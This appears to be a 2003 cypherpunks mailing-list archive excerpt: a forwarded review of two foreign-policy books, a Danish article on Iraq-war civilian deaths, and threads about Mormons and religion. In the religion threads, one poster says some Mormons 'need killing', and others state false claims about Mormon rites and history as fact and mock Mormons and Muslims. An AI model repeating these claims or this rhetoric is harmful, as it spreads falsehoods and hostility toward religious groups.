These two books are offered as multilateralist rebuttals to the ascendant above-it-all doctrine. Both volumes are short and aimed at a general audience. Both conclude that the unilateralism of the Bush administration is wrong, not because it violates some abstract moral code but because it is inimical to American interests. Inevitably the two books cover a lot of the same ground, but from different vantage points. 

If you want to know how the American colossus looks to the rest of the world, ''Rogue Nation,'' by Clyde Prestowitz, is your book -- an unsparing but unhysterical catalog of American behavior that has made the world see us as self-centered and hypocritical. The counts in the indictment are familiar: We preach fair trade but underwrite American cotton farmers at such high prices that we keep African farmers in poverty. We guzzle petroleum, and then need a foreign policy that overemphasizes one region of the globe. We preach democracy and dance with tyrants. ''Rogue Nation'' could serve as an appendix to this month's global poll by the Pew Research Center, which shows a balloning fear and mistrust of the United States around the world. 

Prestowitz is president of the Economic Strategy Institute in Washington and a former trade negotiator. (His 1988 book, ''Trading Places,'' was a mildly alarmist look at the competitive threat of Japan.) He is at his best translating the forbidding details of international commerce into lucid narrative. How American indifference contributed to the Asian economic crisis of 1997, for example, and how world currencies came to be pegged to the dollar -- a kind of monetary unilateralism that enables us to export our economic problems -- are explained with welcome clarity, and without a trace of antiglobalist cant. Likewise, his recounting of the dispute over the Kyoto treaty on global warming is fair-minded. He acknowledges the weaknesses of the treaty and the culpability of the European greens, frustrated leftists who hijacked the cause of environmentalism, but he concludes that in the end what was lost was much more than an inadequate treaty. He is sometimes glib on the politic!
s -- his co

While he focuses his opprobrium on the Bush administration, Prestowitz understands that America has long been an outlier, a feet-and-Fahrenheit power in a metric world, gripped by an assumption that the rest of the world should conform to us as the benchmark of normal civilized values. ''Indeed, the chief reason Americans are blind to their own empire is their implicit belief that every human being is a potential American, and that his or her present national or cultural affiliations are an unfortunate but reversible accident.'' 

And the solution? Essentially, spontaneous enlightenment. Americans should wise up, throw out unilateralist politicians, treat the world with respect and generally be just a little less . . . American. While we're at it, I propose that we eat right, floss daily, tithe generously and stop watching mindless TV shows. 

Michael Hirsh's ''At War With Ourselves'' is a more introspective look at America, particularly the America of Bill Clinton and George W. Bush, which Hirsh followed in his jobs as foreign editor and chief diplomatic correspondent for Newsweek. Although the book is enlivened by reporting trips he has taken, it is written from inside the intellectual bubble of the Council on Foreign Relations. Hirsh drizzles the text so liberally with bylines from the world of scholarly punditry that the prose often becomes sodden with attribution. Someone should have advised him to put his sources in the footnotes and trust his own judgment. 

For his judgment is fundamentally sound. His book is well informed, historically literate, nonideological common sense. That may sound like faint praise, but in an America that sometimes seems poised between reckless adventure and helpless inertia, centrist common sense is something to be treasured. By ''centrist,'' I mean Hirsh is a liberal internationalist who has come to see the value, as well as the inevitability, of applying American muscle to the world's problems, up to a point. 

Where, exactly, that point is, the reader may have trouble telling. Hirsh is a hawk on the Balkan wars (who isn't, these days?), and he confesses to having been badly wrong in anticipating that our ouster of the Taliban would turn out disastrously. On a harder test -- Iraq -- he ducks. Both of these books apparently went to press on the cusp of the war, so the authors knew whatever they said would be overtaken by events. Prestowitz nonetheless plunges in; he says that ''at this point there is little choice but for the United States and whatever partners it can gather to overthrow Saddam and occupy Iraq. The cost of not doing so is now greater than that of doing so.'' Hirsh does not quite say what he would do, though he gives the impression he would not have supported an invasion without United Nations sanction. 

Poor, maligned, unsexy multilateralism has, for all its faults, historically been the default position of American foreign policy, and Hirsh does a powerful job of reminding us why. He demonstrates that the ''international community'' we often disparage as feckless, corrupt and inhospitable (Condoleezza Rice called it ''illusory'') is in fact an instrument we built, one that most often serves as an extension of American power, and one that we desperately need. 

Even the United Nations, despite its noisy membership of pipsqueak tyrants and volatile states, serves a variety of useful functions, most importantly co-opting potential adversaries like China and Russia. As for other international bodies, ''the W.T.O. is the world's rule-setter; the I.M.F. its credit union; and the World Bank its principal charity,'' he writes. America dominates all of these organizations, and can use them to ''take the raw edge off American hegemony.'' 

More than useful instruments, Hirsh argues, these agencies have become, bit by bit, better advocates of the values we profess -- the freedoms of marketplace and voting booth, the rule of law. We need these imperfect surrogates because America has a serious credibility problem peddling values on its own. Hirsh calls this ''ideological blowback.'' For example, we cherish democracy in principle, just not in Pakistan, not right now. 

Hirsh is good on the subtleties of how, as countries develop the wherewithal to challenge us, they become inexorably entangled in the global order -- the way, for example, the manager of a privatized Chinese enterprise quickly develops ''a kind of dual citizenship'' as he learns to anticipate the needs of his foreign customers. And America is inescapably entangled, too. Even our defense industry, once the domain of sheltered, single-client weapons manufacturers, has shifted more and more to global suppliers of technology whose health depends on the rules of free trade. 

Hirsh outlines a sensible basis for detente between the warring hegemonists and internationalists, an America that leads without bullying. That is an accomplishment to be congratulated, even if you do not entirely share his optimism that this consensus is emerging before our eyes. 

Bill Keller is a Times columnist and a senior writer for The Times Magazine. 

-- 
-----------------
R. A. Hettinga <mailto: rah at ibuc.com>
The Internet Bearer Underwriting Corporation <http://www.ibuc.com/>
44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'

--- end forwarded text


-- 
-----------------
R. A. Hettinga <mailto: rah at ibuc.com>
The Internet Bearer Underwriting Corporation <http://www.ibuc.com/>
44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'




From rah at shipwright.com  Sat Jun 21 08:08:10 2003
From: rah at shipwright.com (R. A. Hettinga)
Date: Sat, 21 Jun 2003 08:08:10 -0700
Subject: 'Rogue Nation' and 'At War With Ourselves': Does Not Play Well 
   With Others
Message-ID: <a06001230bb1a254a3a4c@[209.86.240.241]>

--- begin forwarded text



From mv at cdc.gov  Sat Jun 21 10:24:04 2003
From: mv at cdc.gov (Major Variola (ret))
Date: Sat, 21 Jun 2003 10:24:04 -0700
Subject: Is Hatch a Mormon or a crypto Satanist? 
Message-ID: <3EF494B4.9AE84FC4@cdc.gov>

At 07:36 PM 6/20/03 -0400, Tyler Durden wrote:
>"Except Utah is not in the South by anybody's definition."
>
>Also as it happens I saw that WIERD Temple downtown there, and asked
"Sister
>Johnson" if she really believed God was a guy kicked back in a
Laz-Z-Boy on
>the planet Kolab. She could not tell me decisely that this was not the
case.
>
>Is Hatch a Mormon?

Surely you jest.  Anyone in any office in Utah is a Mormon.  And most of
the profs
at the universities there.  Good luck trying to buy a beer, BTW.

If they didn't own Utah, they would be firebombed faster than you can
say Janet Reno.
They only got to own Utah because they Judased their own religious
beliefs (polygamy)
to suck up to the rest of the (puritan-based) country.

I have no beef with anyone practicing their mental illnesses privately,
but when they
use the violence of the State to coerce others, they need killing.

---
Reminds me of when a sociologist was interviewing a southern farmer:
Why do you think the murder rate is higher in the south?
I guess more southerners need killin'.
as told by Aaron Evans




From bill.stewart at pobox.com  Sat Jun 21 11:24:30 2003
From: bill.stewart at pobox.com (Bill Stewart)
Date: Sat, 21 Jun 2003 11:24:30 -0700
Subject: Is Hatch a Mormon or a crypto Satanist? 
In-Reply-To: <3EF494B4.9AE84FC4@cdc.gov>
Message-ID: <5.1.1.6.2.20030621111348.03329eb0@idiom.com>

At 10:24 AM 06/21/2003 -0700, Major Variola (ret) wrote:
>  > Is Hatch a Mormon?
>
>Surely you jest.  Anyone in any office in Utah is a Mormon.
>And most of the profs at the universities there.
>Good luck trying to buy a beer, BTW.

I was pleasantly surprised when I went to Salt Lake City
ten years ago that not only was it no trouble to get a drink,
it was also no trouble to get espresso, which is my usual vice -
the Nordstrom's in the mall had their little stand out front.
It's apparently more trouble to get liquor up in ski country.

I've also found it was less trouble to get a beer and _dinner_
late at night than in much of California, though perhaps they
have rules requiring bars to also be restaurants.
(~midnight, about 6 blocks from the temple.)
The catch was that they were also less fascist about smoking in bars,
so I had to sit off at the less-crowded end of the bar
rather than near the TV with most of the other gentiles.




From ravage at einstein.ssz.com  Sat Jun 21 11:51:56 2003
From: ravage at einstein.ssz.com (Jim Choate)
Date: Sat, 21 Jun 2003 13:51:56 -0500 (CDT)
Subject: The Register - Congressmen turn on ICANN (fwd)
Message-ID: <Pine.LNX.4.33.0306211351350.17132-100000@einstein.ssz.com>

http://www.theregister.co.uk/content/6/31357.html


 --
    ____________________________________________________________________

      We are all interested in the future for that is where you and I
      are going to spend the rest of our lives.

                              Criswell, "Plan 9 from Outer Space"

      ravage at ssz.com                            jchoate at open-forge.org
      www.ssz.com                               www.open-forge.org
    --------------------------------------------------------------------




From camera_lumina at hotmail.com  Sat Jun 21 12:40:35 2003
From: camera_lumina at hotmail.com (Tyler Durden)
Date: Sat, 21 Jun 2003 15:40:35 -0400
Subject: Is Hatch a Mormon or a crypto Satanist?
Message-ID: <BAY7-F6XKbMbcMSe3WX00005823@hotmail.com>

Variola wrote...

"Surely you jest.  Anyone in any office in Utah is a Mormon.  And most of
the profs at the universities there.

Actually I was kind of joking. I was gently implying that anyone that 
adhered to a religion where God is a human being on the planet Kolab can't 
be super-bright. But then again, the CEO of Corvis is a Mormon and he's not 
an idiot, though he is by every account a megalomaniac and rather 
sociopathic.


"Good luck trying to buy a beer, BTW."

Actually on Thursday night I found a good little brewpub just a few blocks 
from that Temple (and that's their world HQ, BTW). There were a couple of 
others even closer, but they were hidden in a backalley like a 
speakeasy...kind of amusing.

But the Mormons themselves (like SLC) are strangely banal...I was wondering 
where 'Landrew' was. Also, absolutely no caffeine, either. When they told me 
true Mormons would never knock back a  good cappucino I told them that was 
simply too much for any good NYC boy to bare.

-TD



>From: "Major Variola (ret)" <mv at cdc.gov>
>To: "cypherpunks at lne.com" <cypherpunks at lne.com>
>Subject: Is Hatch a Mormon or a crypto Satanist? Date: Sat, 21 Jun 2003 
>10:24:04 -0700
>
>At 07:36 PM 6/20/03 -0400, Tyler Durden wrote:
> >"Except Utah is not in the South by anybody's definition."
> >
> >Also as it happens I saw that WIERD Temple downtown there, and asked
>"Sister
> >Johnson" if she really believed God was a guy kicked back in a
>Laz-Z-Boy on
> >the planet Kolab. She could not tell me decisely that this was not the
>case.
> >
> >Is Hatch a Mormon?
>
>Surely you jest.  Anyone in any office in Utah is a Mormon.  And most of
>the profs
>at the universities there.  Good luck trying to buy a beer, BTW.
>
>If they didn't own Utah, they would be firebombed faster than you can
>say Janet Reno.
>They only got to own Utah because they Judased their own religious
>beliefs (polygamy)
>to suck up to the rest of the (puritan-based) country.
>
>I have no beef with anyone practicing their mental illnesses privately,
>but when they
>use the violence of the State to coerce others, they need killing.
>
>---
>Reminds me of when a sociologist was interviewing a southern farmer:
>Why do you think the murder rate is higher in the south?
>I guess more southerners need killin'.
>as told by Aaron Evans

_________________________________________________________________
Protect your PC - get McAfee.com VirusScan Online  
http://clinic.mcafee.com/clinic/ibuy/campaign.asp?cid=3963




From boo at datashopper.dk  Sun Jun 22 06:07:13 2003
From: boo at datashopper.dk (Bo Elkjaer)
Date: Sun, 22 Jun 2003 15:07:13 +0200 (CEST)
Subject: THESE ARE YOUR DEAD CHILDREN, PRIMEMINISTER --
  Denmark/Iraq-war/debate
Message-ID: <Pine.LNX.4.44.0306221506530.18015-100000@apollon.datashopper.dk>

List

It's not only in USA and UK that pressure is mounting after the war.

As you may know, Denmark participated in the war against Iraq. This has
lead to an increasing pressure on the danish government as the evidence
of WMDs - and thus the reason to go to war - evaporates. Now there's talk
of public inquiries into the war.

The following articles were printed in Ekstra Bladet, the second largest
daily newspaper thursday, june 19, 2003.

The pictures of dead children mentioned in the articles can be found at
thememoryhole.org. (http://www.thememoryhole.org/war/gulfwar2/)

Yours
Bo Elkjaer, Denmark


THESE ARE YOUR DEAD CHILDREN, PRIME MINISTER

Shaken primeminister tries to evade weapons lies and bombed children: 'The
war is justified'

Ekstra Bladet does what apparantly no one else dares: We confront prime
minister Anders Fogh Rasmussen with the direct result of his, Bushs and
Blairs war on Iraq: Dead children.
  One of the pictures show a boy that has been horribly burned by
coalition bombs. Another picture is a close up of a boy who's head has
been blown to pieces.
  Two innocent children. Killed in a war based on a lie about weapons of
mass destruction. Conservative estimates say that at leas 5.500 civilians
died in the war. Others speak of up  to 10.000 killed civilian iraqis.
  After a long, heated debate in the foreign policy select comittee, where
primeminister Anders Fogh Rasmussen and foreignminister Per Stig Moeller
tried to justify the reasons for danish participation in the war and
talked about UN-mandate and international law, Ekstra Bladet asked the
primeminister:
  -- What is your opinion about the picture of the boy, who's head has
been blown of?
  'War is terrible', said primeminister Anders Fogh Rasmussen, visibly
shaken by the horror of the brutally killed iraqi boy.
  -- How do you feel about how the reason for war is obviously very thin,
yet it ended with  little children like this boy having their brains blown
away?
  'I think, that if your paper is going to bring pictures like these, then
it should bring other pictures too, the pictures of mass graves, showing
how Saddam Husseins regime murdered thousands of people. You should bring
those pictures too.'
  -- But these are YOUR dead children?
  'Yes, but now its interesting to see if you're going to show the
pictures of mass graves at the same time so the readers can have a fair
and balanced picture of, how horrible it is.'

THE WEAPONS ARE THERE
  In spite of the large civilian losses, in spite of how no weapons of
mass destruction has been uncovered in Iraq and in spite of how inquiries
have been launched both in the US and in UK, prime minister Anders Fogh
Rasmussen still has no doubts about the war.
  -- What you're discussing today is that you - both you and the foreign
minister - on several occasions, both in public and in the parliament has
declared with great certainty, that there were weapons of mass
destruction. Have you deceived the people and the parliament?
  'But listen! No! Certainly not! And I'd like to say, that it hasn't been
proved that they're not there. They just haven't been found yet.'
  'Everything shows that of course he had those weapons. They must be some
where.'
  -- You have no doubts about that?
  'Where in the world should they be, if he hasn't declared them?', says
the danish prime minister before he ends the interview and hurriedly
leaves the scene.


FOREIGN MINISTER
ON SLIPPERY ICE
'The evidence should be able to stand in court', the danish foreign
minister Per Stig Moeller said on september 6 last year.
  Today his demands of legally solid evidence against Iraq is completely
gone.
  'At no time did we say that we with certainty knew that he had those
weapons. What we said was that he had the threat of having the weapons.
He has used that threat to destabilize the entire region', says foreign
minister Per Stig Moeller today.
  -- But you said that the government was sure that Saddam Hussein had
weapons of mass destruction?
  'Not me. I haven't said that. I'm pretty sure I have said 'alleged
weapons of mass destruction'...'
  -- But Fogh said last september he had no doubts that Iraq had weapons
of mass destruction?
  'Well, yes. But you should talk to primeminister Anders Fogh Rasmussen
about that.'
  -- Are you rejecting what the prime minister said?
  'No! But you're interrupting me. See, now you interrupted me.'
  -- But today it suddently does'nt matter to you at all, whether Saddam
had those weapons of mass destruction?
  'Yes, you might say that. The important thing is that he used it as a
threat to the international society. And that he couldn't declare that he
had destroyed it. It was Saddam who needed to prove that he didn't have
it. That's what UN said all along.'


WHAT THEY SAID BEFORE THE WAR
Eight times in the same speach the foreign minister Per Stig Moeller on
march 21 said that Iraq has weapons of mass destruction. This is what he
said:
  'You have to go in with military force to remove Saddam Hussein and his
weapons of mass desctruction.'
  'He has hidden those weapons of mass destruction.'
  'You have to take the consequences and remove his weapons of mass
destruction.'
  'All aspects of the weapons of mass destruction programs should be laid
clear and the weapons destroyed. The same thing goes for the missiles.'
  'Then Saddam Hussein will sit there with his weapons of
massdestruction.'
  'This is a fight with Saddam Hussein because of his weapons.'
  'We all want to disarm him of his weapons of mass destruction.'
  'I'd like to thank for two days of long debates, where we have discussed
every element in  connection with participation in the fight with Saddam
Hussein and his weapons of mass destruction.'
  September 6 the danish foreign minister Per Stig Moeller said:
  'The evidence should be able to stand in court.'
  The same month the danish prime minister Anders Fogh Rasmussen said:
  'I hold no doubt at all that he has weapons of mass destruction and that
he wants to produce them.'


THEY DECEIVED BOTH PEOPLE AND PARLIAMENT
In the middle of the long and heated debate about the Iraq war, MP Keld
Albrechtsen left the meeting to relieve himself. He was so shaken that he
completely forgot to go to the bathroom.
  'I can't get prime minister Anders Fogh Rasmussen and foreign minister
Per Stig Moeller to understand that they have deceived both the
parliament and the people', Keld Albrechtsen told the press outside the
meeting room.
  'They simply don't understand. But then we'll have to work for getting a
thorough inquiry which has to find out whether the government has
misguided or deceived the people. Something along the lines of what's
starting in the US.'
  'It has to be with the possibility of interrogating civil servants so we
can find out whether they knowingly deceived us and what stake the
intelligence services has in this', Keld Albrechtsen of the Unity Party
said before hastening in to the meeting again.
  MP Villy Soevndahl of the Socialist Peoples Party also wants an
independent inquiry while the socialdemocratic MP Jeppe Kofod talked
about a declaration from the government while keeping an eye on the
revelations in USA and UK.
  'Lets see what happens, then we can find out what to do about it here',
Kofod said.


By Bo Elkjaer and Kenan Seeberg, Ekstra Bladet, Denmark.
(www.ekstrabladet.dk)




From cpunk at lne.com  Sun Jun 22 20:00:00 2003
From: cpunk at lne.com (cpunk at lne.com)
Date: Sun, 22 Jun 2003 20:00:00 -0700
Subject: Cypherpunks List Info
Message-ID: <200306230300.h5N300Gx029813@gw.lne.com>

Cypherpunks Mailing List Information

Last updated: Sep 12, 2002

This message is also available at http://www.lne.com/cpunk

Instructions on unsubscribing from the list can be found below.


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From hseaver at cybershamanix.com  Mon Jun 23 05:25:26 2003
From: hseaver at cybershamanix.com (Harmon Seaver)
Date: Mon, 23 Jun 2003 07:25:26 -0500
Subject: Senators from Utah being Southern
In-Reply-To: <3EF30DC3.2080209@ksvanhorn.com>
References: <B1756B03-A2E1-11D7-9C17-000A956B4C74@got.net>
  <3EF30DC3.2080209@ksvanhorn.com>
Message-ID: <20030623122526.GA27314@cybershamanix.com>

On Fri, Jun 20, 2003 at 08:36:03AM -0500, Kevin S. Van Horn wrote:
> Tim May wrote:
> 
> >Sorry, wrong again. Hatch is a member of the Church of Jesus Christ of 
> >Latter Day Saints, LDS, aka Mormon. Not an actual Christian church. 
> >Details available with Google. Basically, Jesus is no more a divine 
> >figure in LDS than in Islam. In fact, LDS and Islam share a number of 
> >things in common with regard to the role of the various prophets and 
> >seers. 
> 
> Sorry, but you've got your facts completely wrong here.  Mormons very 
> much consider themselves a Christian church; in fact, they consider 
> their church to be the restoration of the church Christ originally 
> established.  Jesus is a divine figure in the LDS church. He's 
> considered the literal son of God the Father; he's also considered the 
> creator of the Earth, the Jehovah of the Old Testament, and a god in his 
> own right.

   No, Tim is right. The Mormons might consider themselves to be "christian",
but are not recognized as such by any other denomination. In fact, they are
billed as a "dangerous cult" just like the Moonies, etc. by most christians. 
   If you really take a close look at Mormon, you'll also note that Lucifer is
considered the brother of Jesus and of equal, or even more important standing.
   And even more interesting are their rites for initiation into the Temple
(most Mormons never go thru this, only the elect) where the member, both male
and female, is completely disrobed, their body washed (every square inch) by
other people, then anointed, again, every inch, and painted with occultic
symbols, and they are then dressed in a sacred undergarment which they must wear
the rest of their lives. Even when bathing, at least one arm or leg has to stay
in the sacred underwear. They swear alligence to Lucifer during the ceremony,
among other things. 
   Tim is also right about the similarities to Islam. Joseph Smith was a con
artist who went to prison for scamming people with his "peep stone" which he put
in his hat, stuck his face into the hat, and was then able to read instructions
from the stone. Originally he was using it to "find" buried treasure, and this
scam got him busted, later he used the same "peep stone" trick to "find" the
"sacred writings", etc. Like Muhammed, he soon realized the necessity to have
mulitiple wives. He also, and some of the leaders after him, got the holy word
from god that told them that all the worldy goods of their non-mormon neighbors
belonged to them, and they went out raiding farms and towns, which got them run
out of New England, then run out of IL. which is how they ended up in Utah. 
   Bizarre group. Read their history -- fascinating stuff. So is the history of
Islam. A poor man, Muhammed married a rich widow old enough to be his mother,
got visited by angels, started Islam, decided men needed multiple wives, etc. 

8-)
   


-- 
Harmon Seaver	
CyberShamanix
http://www.cybershamanix.com




From ptrei at rsasecurity.com  Mon Jun 23 06:28:44 2003
From: ptrei at rsasecurity.com (Trei, Peter)
Date: Mon, 23 Jun 2003 09:28:44 -0400
Subject: Is Hatch a Mormon or a crypto Satanist? 
Message-ID: <F504A8CEE925D411AF4A00508B8BE90A0558D194@exna07.securitydynamics.com>

> Bill Stewart[SMTP:bill.stewart at pobox.com] wrote:
> 
> At 10:24 AM 06/21/2003 -0700, Major Variola (ret) wrote:
> >  > Is Hatch a Mormon?
> >
> >Surely you jest.  Anyone in any office in Utah is a Mormon.
> >And most of the profs at the universities there.
> >Good luck trying to buy a beer, BTW.
> 
> I was pleasantly surprised when I went to Salt Lake City
> ten years ago that not only was it no trouble to get a drink,
> it was also no trouble to get espresso, which is my usual vice -
> the Nordstrom's in the mall had their little stand out front.
> It's apparently more trouble to get liquor up in ski country.
> 
> I've also found it was less trouble to get a beer and _dinner_
> late at night than in much of California, though perhaps they
> have rules requiring bars to also be restaurants.
> (~midnight, about 6 blocks from the temple.)
> The catch was that they were also less fascist about smoking in bars,
> so I had to sit off at the less-crowded end of the bar
> rather than near the TV with most of the other gentiles.
> 
SLC, while the state capital, and home of the LDS church, has
a comparatively low concentration of Mormons. Provo, which is
the home of BYU, is far more concentrated.

The Mormons have actually eased off on the caffeine issue in the
last decade or so. Coke is now OK. I'm not sure about coffee 
(part of the prohibition is against *hot* drinks, regardless of content).

Peter




From timcmay at got.net  Mon Jun 23 11:54:22 2003
From: timcmay at got.net (Tim May)
Date: Mon, 23 Jun 2003 11:54:22 -0700
Subject: Senators from Utah being Southern
In-Reply-To: <20030623122526.GA27314@cybershamanix.com>
Message-ID: <1A90B686-A5AC-11D7-8DFB-000A956B4C74@got.net>

On Monday, June 23, 2003, at 05:25  AM, Harmon Seaver wrote:

> On Fri, Jun 20, 2003 at 08:36:03AM -0500, Kevin S. Van Horn wrote:
>> Sorry, but you've got your facts completely wrong here.  Mormons very
>> much consider themselves a Christian church; in fact, they consider
>> their church to be the restoration of the church Christ originally
>> established.  Jesus is a divine figure in the LDS church. He's
>> considered the literal son of God the Father; he's also considered the
>> creator of the Earth, the Jehovah of the Old Testament, and a god in 
>> his
>> own right.
>
>    No, Tim is right. The Mormons might consider themselves to be 
> "christian",
> but are not recognized as such by any other denomination. In fact, 
> they are
> billed as a "dangerous cult" just like the Moonies, etc. by most 
> christians.

Let me remind folks that I am areligious...I no more believe in a god 
or goddess or afertlife or supernatural things than I believe in the 
Easter Bunny. I view all religions as cults of magical belief.

Having said this, all of the Mormons I have known have been unusually 
honest, forthright, and hard-working. I worked with a fair number of 
them at Intel, and they were solid contributors. And the Mormons are 
doing well financially, here in the U.S. and abroad.

All of my Christian friends who are students of religion characterize 
LDS as non-Christian. Which suprised me when I first heard the claim, 
but I now see the point. LDS is fundamentally an occult belief system.

>    If you really take a close look at Mormon, you'll also note that 
> Lucifer is
> considered the brother of Jesus and of equal, or even more important 
> standing.

He was a hell of a lot more interesting than JC, that's for sure. I 
recommend "The Prophecy," the wonderful movie with Christopher Walken 
as the angel Gabriel.
>

>    Bizarre group. Read their history -- fascinating stuff. So is the 
> history of
> Islam. A poor man, Muhammed married a rich widow old enough to be his 
> mother,
> got visited by angels, started Islam, decided men needed multiple 
> wives, etc.

Islam is interesting because of the self-consistency of a single vision 
written by Mohammed. I am astonished that one person could write that 
whole thing (not that I have read much of the Koran, but what I have 
looked at is self-consistent). I figure Mohammed had latent talents as 
a poet or writer and these came out during his desert cave stays, 
perhaps, one might speculate, assisted by various herbs and mushrooms.

I once asked a Muslim rug merchant I knew about this. He was adamant 
that Mohammed did not write the Koran...he kept saying "Ha-breel!" 
Which, it took me a few seconds to figure out, is Arabic for the angel 
Gabriel, which I vaguely recollected was supposed to have come down 
into Mohammed's cave and dictated the word of Allah to Mohammed.

As such beings and such deities are fanciful, I am more interested in 
the psychological state that allowed a 7th-century merchant to write 
such a book.

--Tim May, Occupied America
"They that give up essential liberty to obtain a little temporary 
safety deserve neither liberty nor safety." -- Benjamin Franklin, 1759.




From emc at artifact.psychedelic.net  Mon Jun 23 12:29:41 2003
From: emc at artifact.psychedelic.net (Eric Cordian)
Date: Mon, 23 Jun 2003 12:29:41 -0700 (PDT)
Subject: Senators from Utah being Southern
In-Reply-To: <1A90B686-A5AC-11D7-8DFB-000A956B4C74@got.net>
Message-ID: <200306231929.h5NJThwb018934@artifact.psychedelic.net>

Tim wrote:

> Let me remind folks that I am areligious...I no more believe in a god 
> or goddess or afertlife or supernatural things than I believe in the 
> Easter Bunny. I view all religions as cults of magical belief.

There are two ways of modeling the Universe.  One can build it from lots
of copies of the null set, or one can take the undifferentiated whole, and
subdivide it into countless fragments in equilibrium with each other in
various complex ways.

Religions are essentially collections of stories about the latter method
of modeling, created for people who can't do the math, and who have never
bothered to wonder why all the choirs of angels form such neat little
arrays.

God is the thing you have before you start chopping it up.  God is the
abstraction that has everything in the universe as a possible instance.  
Archangels are chunks of a coarse partition of God.  We are chunks of a
fine partition of God.

> Having said this, all of the Mormons I have known have been unusually 
> honest, forthright, and hard-working. I worked with a fair number of 
> them at Intel, and they were solid contributors. And the Mormons are 
> doing well financially, here in the U.S. and abroad.

Mormons make perfect employees.  They are always bathed, well-dressed,
hard-working, self-reliant, well-educated, respectful of your authority,
and they hardly ever mention that after they die, they hope to rule over
other planets in physical bodies, and have a wonderful sex life.

Then again, they'll put their teenage children in a mental institution in
a heartbeat for defying them, or acting gay.

Mormons are the true Stepford citizen units.  Perfect on the outside,
dangerous on the inside.

> He was a hell of a lot more interesting than JC, that's for sure. I 
> recommend "The Prophecy," the wonderful movie with Christopher Walken 
> as the angel Gabriel.

The Nephilim are a fun bunch.  

> As such beings and such deities are fanciful, I am more interested in 
> the psychological state that allowed a 7th-century merchant to write 
> such a book.

The whole universe is inside you, Grasshopper. 

-- 
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"




From morlockelloi at yahoo.com  Mon Jun 23 19:59:05 2003
From: morlockelloi at yahoo.com (Morlock Elloi)
Date: Mon, 23 Jun 2003 19:59:05 -0700 (PDT)
Subject: Senators from Utah being Southern
In-Reply-To: <BAY7-F21526tr5XsCj10001db1e@hotmail.com>
Message-ID: <20030624025905.65098.qmail@web40610.mail.yahoo.com>

>Religions are essentially collections of stories about the latter method

Religions are artificial shortcuts to "knowledge" and excellent method to
neutralize congenital human curiosity. If you can't comprehend it, fake it.
They all offer explanations of various phenomena by using familiar human memes
(fathers, mothers, children, birth, death.) It works most of the time.

The major difference between politics and religion is that politics is
streamlined, it doesn't count on the internal consistency (and related effort
to grasp it) but instead uses (via media) brute force of repetition.

It all boils down to getting masses to farm out the inquisitivness and then
servicing it.


=====
end
(of original message)

Y-a*h*o-o (yes, they scan for this) spam follows:

__________________________________
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SBC Yahoo! DSL - Now only $29.95 per month!
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From camera_lumina at hotmail.com  Mon Jun 23 18:18:44 2003
From: camera_lumina at hotmail.com (Tyler Durden)
Date: Mon, 23 Jun 2003 21:18:44 -0400
Subject: Senators from Utah being Southern
Message-ID: <BAY7-F21526tr5XsCj10001db1e@hotmail.com>

>Religions are essentially collections of stories about the latter method
>of modeling, created for people who can't do the math,

20 years ago, I might have agreed with this assessment. Actually, written in 
the present tense it is largely true. 3,000 years ago is a different story, 
however, and modern religionists often forget that. The earliest religious 
texts (including the Torah) are written in such a 'primitive' time that I 
don't think any of the modern notions apply. For instance, in the Torah it 
would seem that there are clearly plenty of other Gods to choose from, but 
the one the jews were commanded to choose was  (Tetragrammaton). He doesn't 
even seem to have the qualities of "justice" righteousness, truth, peace, 
compassion blah blah blah that we are supposed to associate with God today. 
In fact, the Torah was written in the form of a peace treaty, with the 
implication that if the jews stopped obeying their end of the bargain, 
they'd get the CRAP kicked out of them. Period.

Likewise, the Vedas and the earliest portions of the I Ching come from a 
time that is probably incomprehensible now.

>and who have never
>bothered to wonder why all the choirs of angels form such neat little
>arrays

A reference to group theory, eh? Nice. The Jungians of the world might argue 
otherwise, that religion to some extent codified primitive forms of group 
theory into symbolism. Certainly, the Dzog Chen tibetan Buddhists did 
comething very close to this, visualizing n-dimensional arrays of 'dieties' 
which are considered really focal/fold points of "psychocosmic energy"*.

If you are referring to modern religion in the religious sense, I agree. But 
I wouldn't throw the baby out with the bathwater...there are some very odd 
things tucked away into the Torah, for instance, that are arguably worth 
discovering. But then again, maybe I'm willing to throw the baby out with 
the bath water...if that water gets pooped up enough, the baby is no longer 
visible!

-TD

*: See "Psychocosmic Symbolism of the Buddhist Stupa" by Anagarika Govinda 
for an excellent discussion of buddhist iconography in the context of an 
architectural study.





>From: Eric Cordian <emc at artifact.psychedelic.net>
>To: Tim May <timcmay at got.net>
>CC: cypherpunks at minder.net
>Subject: Re: Senators from Utah being Southern
>Date: Mon, 23 Jun 2003 12:29:41 -0700 (PDT)
>
>Tim wrote:
>
> > Let me remind folks that I am areligious...I no more believe in a god
> > or goddess or afertlife or supernatural things than I believe in the
> > Easter Bunny. I view all religions as cults of magical belief.
>
>There are two ways of modeling the Universe.  One can build it from lots
>of copies of the null set, or one can take the undifferentiated whole, and
>subdivide it into countless fragments in equilibrium with each other in
>various complex ways.
>
>Religions are essentially collections of stories about the latter method
>of modeling, created for people who can't do the math, and who have never
>bothered to wonder why all the choirs of angels form such neat little
>arrays.
>
>God is the thing you have before you start chopping it up.  God is the
>abstraction that has everything in the universe as a possible instance.
>Archangels are chunks of a coarse partition of God.  We are chunks of a
>fine partition of God.
>
> > Having said this, all of the Mormons I have known have been unusually
> > honest, forthright, and hard-working. I worked with a fair number of
> > them at Intel, and they were solid contributors. And the Mormons are
> > doing well financially, here in the U.S. and abroad.
>
>Mormons make perfect employees.  They are always bathed, well-dressed,
>hard-working, self-reliant, well-educated, respectful of your authority,
>and they hardly ever mention that after they die, they hope to rule over
>other planets in physical bodies, and have a wonderful sex life.
>
>Then again, they'll put their teenage children in a mental institution in
>a heartbeat for defying them, or acting gay.
>
>Mormons are the true Stepford citizen units.  Perfect on the outside,
>dangerous on the inside.
>
> > He was a hell of a lot more interesting than JC, that's for sure. I
> > recommend "The Prophecy," the wonderful movie with Christopher Walken
> > as the angel Gabriel.
>
>The Nephilim are a fun bunch.
>
> > As such beings and such deities are fanciful, I am more interested in
> > the psychological state that allowed a 7th-century merchant to write
> > such a book.
>
>The whole universe is inside you, Grasshopper.
>
>--
>Eric Michael Cordian 0+
